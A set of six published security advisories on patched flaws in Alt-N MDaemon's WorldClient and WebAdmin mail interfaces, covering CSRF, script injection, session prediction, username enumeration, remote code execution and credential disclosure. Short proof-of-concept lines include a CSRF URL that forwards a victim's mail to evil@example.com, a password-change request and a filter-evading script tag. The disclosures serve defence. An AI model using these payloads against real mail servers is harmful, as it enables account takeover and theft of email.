Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery Vulnerability

=====================================================================================
   Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery
Vulnerability
=====================================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: Cross-Site Request Forgery
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_and_WebAdmin_CSRF.html

 

Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html

)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient and WebAdmin applications are prone to a cross-site
request-forgery vulnerability. It should be noted that partial
protection is provided by the Session parameter, but this alone cannot
be considered as an adequate protection mechanism.

An attacker can exploit this issue to perform different actions on the
affected application without the user's consent. For example, the
attacker can change the user's password, forward a copy of the user's
emails to a different email account, retrieve his/her address book,
send email messages to other users/email addresses and/or perform
other similar tasks.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
Change Password:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n

Enable Forwarding:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=evil%40example.com




Courtesy: securityfocus.com

Alt-N MDaemon Email Body HTML/JS Injection Vulnerability

==============================================================
   Alt-N MDaemon Email Body HTML/JS Injection Vulnerability
==============================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: HTML/JS Injection
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_Email_Body_HTML_JS_Injection.html

 

Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html

)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N MDaemon is prone to an HTML/Javascript injection vulnerability
because it fails to sanitize user-supplied input.

Attacker-supplied HTML and/or JavaScript code could run in the context
of the affected site, potentially allowing the attacker to steal
cookie-based authentication credentials and control how the site is
rendered to the user; other attacks are also possible.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
<<!-------->script>alert('XSS');<<!-------->/script>





Courtesy: securityfocus.com

Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability

======================================================================
   Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability
======================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: Session ID Prediction
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Predictable_Session_ID.html

 

Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html

)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is the web interface of the MDaemon email server. It
has been identified that application session state is not maintained
by the user's session cookie but by the URL "Session" parameter
instead. This parameter is transmitted with every user request sent to
the WorldClient web application and under certain circumstances future
session IDs can be successfully predicted.

The use of predictable session IDs for authentication makes
WorldClient prone to session hijacking attacks. If the attacker can
generate a current valid session ID then he/she may be able to access
webmail accounts without possessing a valid username/password. The
impact of the attack is significantly reduced because WorldClient
associates the client's IP address with each session ID produced.
However, certain network setups or other scenarios may exist that
could render the IP restriction ineffective.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

Pre-Requisites:
---------------
1) The attacker needs to get a current or expired session ID.
       a) Google Search: "WorldClient.dll?Session="
       b) Steal an HTTP request and observe the Referer field
2) The MDaemon service or the machine has not been restarted since the
captured session ID was generated (There may be a way to deal with
this but further research is needed).





Courtesy: securityfocus.com

Alt-N MDaemon's WorldClient Username Enumeration Vulnerability

====================================================================
   Alt-N MDaemon's WorldClient Username Enumeration Vulnerability
====================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: Username Enumeration
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Username_Enumeration.html

 

Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html

)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is prone to a username-enumeration weakness by
querying the user's Free-Busy schedule. The DTSTART and DTEND
parameters in the returned FBData.vfb file, may indicate whether an
email address/username is valid or not.

Attackers may exploit this weakness to discern valid usernames. This
may aid them in brute-force password cracking or other attacks.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
http://www.example.com:3000/WorldClient.dll?View=fbinfo&User=mickey.mouse@qsecure.com.cy

For valid email accounts the DTSTART and DTEND values in the .vfb file
start with a recent date backwards (e.g. 20120505) whereas for invalid
ones the date is 19801231.

Courtesy: securityfocus.com

Alt-N MDaemon's WebAdmin Remote Code Execution Vulnerability

==================================================================
   Alt-N MDaemon's WebAdmin Remote Code Execution Vulnerability
==================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: Remote Code Execution
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WebAdmin_Remote_Code_Execution.html

 

Discovered: 01/10/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html

)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WebAdmin application is prone to a remote code execution
vulnerability via the user account import facility. Attackers may
utilize a compromised user/non-admin account to create new accounts in
the system or modify existing ones, in a way that will turn-on the
autorespond "program processing" functionality and cause it to execute
arbitrary commands on the underlying operating system.

Furthermore, utilizing the user account import facility, an ordinary
user can change the password of any other user or administrator
account within MDaemon and access his/her emails. However, a
side-effect of this procedure is that any administrator accounts that
get modified this way, are downgraded to ordinary users.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.





Courtesy: securityfocus.com

Alt-N MDaemon's WorldClient Disclosure of Authentication Credentials Vulnerability

==========================================================================================
   Alt-N MDaemon's WorldClient Disclosure of Authentication
Credentials Vulnerability
==========================================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: Disclosure of Authentication Credentials
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Disclosure_of_Authentication_Credentials.html

 

Discovered: 01/10/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html

)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient application is prone to an authentication
credentials disclosure via a specially formulated HTTP request. This
is possible because the application replies to the request with a
response that contains the credentials in an encoded (reversible)
format.

Attackers may trick an unsuspecting user into opening a malicious
email message -using the WorldClient application- and stealing his/her
authentication credentials without the user ever noticing.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
Vulnerable URL:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=WebAdmin

Encoded Auth String:
GaDAQBQOP3cymUmJxiNVaz80JTAklc/c+q7fAhmklkQSdp0XMo2X/4aVhqMtLz4OLuCf6v2T0Gc9KKHkvn
ok0B9ARyso9/k

Decoded Auth String:
User=test%40ac1dc0de.com

 

&Password=111111Ab&TimeStamp=1344532850&Lang=en





courtesy: securityfocus.com